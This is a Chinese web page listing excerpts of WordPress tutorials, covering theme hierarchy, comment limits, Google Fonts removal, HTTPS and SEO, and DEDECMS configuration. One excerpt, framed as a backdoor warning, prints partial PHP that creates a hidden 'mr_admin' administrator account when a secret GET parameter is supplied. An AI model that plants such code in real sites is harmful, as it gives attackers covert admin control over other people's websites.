WordPress 是目前世界上使用最广泛的博客系统,是一款开源的PHP软件。因为使用者众多,所以WordPress社区非常活跃,有丰富的插件模板资源。使用WordPress可以快速搭建独立的博客网站。很多知名科技博客也是WordPress搭建的,例如:雷锋网、钛媒体等。下面PHP站为WordPress主题开发者整理了一下制作WordPress主题的必备知识。
WordPress主题模板层次
首页:
home.php
index.php
文章页:
single-{post_type}...
WordPress中实现每篇文章只允许用户评论一次
这个功能实现起来也比较简单,只需每次用户发表的评论进数据库之前,从当前文章的所有评论中查找是否有相同的用户名或邮箱已经发表过评论,如果有就跳到错误页面即可。
实现代码,放到当前主题的functions.php中即可(这里还增加了对IP的判断,更保险):
// 获取评论用户的ip,参考wp-includes/comment.php
function ludou_getIP() {
$ip = $_SERVER['REMOTE_ADDR'];
$ip = preg_replace( '/[^0-...
wordpress发布新文章后标题上显示“NEW”小图标及标题字数
这其实算不上很新奇的功能,但部落觉得这样做的话,能够提高用户体验,在wordpress网站的新发布文章后面添加一个醒目的“NEW”之类的小图标,能够让用户很明显地知道,这些就是新文章了。现在很多的网站都加上了这个功能,部落觉得如果您的网站有很多的受众用户,并且其中相当多的用户为老用户,那么给新发布文章后方显示一个“NEW”之类的小图标就显得很有必要了。
修改源文件
打开主题文件首页index.php文件...
小心WordPress网站被创建后门
利用代码创建后门,向你展示如何做到这一点。至于你如何利用这段代码完全是取决于你!正确的方式使用这段代码,而不是用来做坏事!
<?php
add_action( 'wp_head', 'my_backdoor' );
function my_backdoor() {
if ( md5( $_GET['backdoor'] ) == '34d1f91fb2e514b8576fab1a75a89a6b' ) {
require( 'wp-includes/registration.php' );
if ( !username_exists( 'mr_admin' ) ) {
$user_id = wp...
WordPress优化加速:去掉谷歌字体
自从谷歌被墙了,就连谷歌字体也链接不上了,但是WordPress后台和一些外国主题都使用了谷歌字体,谷歌字体链接不上自然就导致了WordPress奇慢无比,所以在国内使用WordPress做的第一件事就是去掉谷歌字体。
将以下代码添加到当前使用的主题的functions.php文件中即可。
//去除谷歌字体
if (!function_exists('remove_wp_open_sans')) :
function remove_wp_open_sans() {
wp_deregister_s...
自定义站点首页在百度搜索结果中展示logo图片
百度站长平台站点属性有上传网站logo功能:站长在站点属性设置页面提交以下要求的网站logo图片,审核通过后,对应的站点首页在搜索结果中将会有官网logo图片展示。
搜索结果中的网站logo展示:
设置网站首页Logo条件:
1、站长平台对优质站点保留提交官网LOGO权限(之前是对所有网站都开放的,现在限制了,不知道怎样才算优质)
2、图片要求:尺寸121*75,图片大小 < 200k;上传的图片必须为网站logo
...
HTTPS对网站性能SEO有哪些影响?
1 前言
HTTPS在保护用户隐私,防止流量劫持方面发挥着非常关键的作用,但与此同时,HTTPS也会降低用户访问速度,增加网站服务器的计算资源消耗。
本文主要介绍https对用户体验的影响。
本文最早发表于百度运维部官方博客
2 HTTPS对访问速度的影响
在介绍速度优化策略之前,先来看下HTTPS对速度有什么影响。影响主要来自两方面:
1. 协议交互所增加的网络RTT(round trip time)。
2. 加解密相关的计算耗时。
...
百度地图经纬度获取
有时候我们需要网站有百度地图,这时候只需要添加百度地图的经纬度就可以调用
调用地址:http://api.map.baidu.com/lbsapi/getpoint/index.html
DEDECMS数据库配置文件在哪?
有的朋友更换dede空间,dede数据库时,需要修改数据库配置.如数据库前缀,数据库名等.
那dede数据库配置文件在哪里找呢?
dede数据库配置文件所在路径为:/data/common.inc.php
修改方法:
把这个文件使用ftp下载下来,用记事本编辑.
下面是该dede数据库配置文件的内容:
根据自己需要修改即可...
WordPress在线留言建立教程
通常,建站时我们都期望能给访客提供一个联系站长的通道,比如在线留言等,这该如何建立呢?其实wordpress很强大的,我们新建一个页面就可以搞定了!
新建页面,进入【后台--仪表盘--页面—新建页面】如果没有使用主题,新建页面的界面如下,我们要点开显示选项,勾选【讨论】和下方的评论,然后填写页面标题,固定链接,在线留言的内容等,发布即可
发布后站点首页并没有显示【在线留言】,不过没关系,我...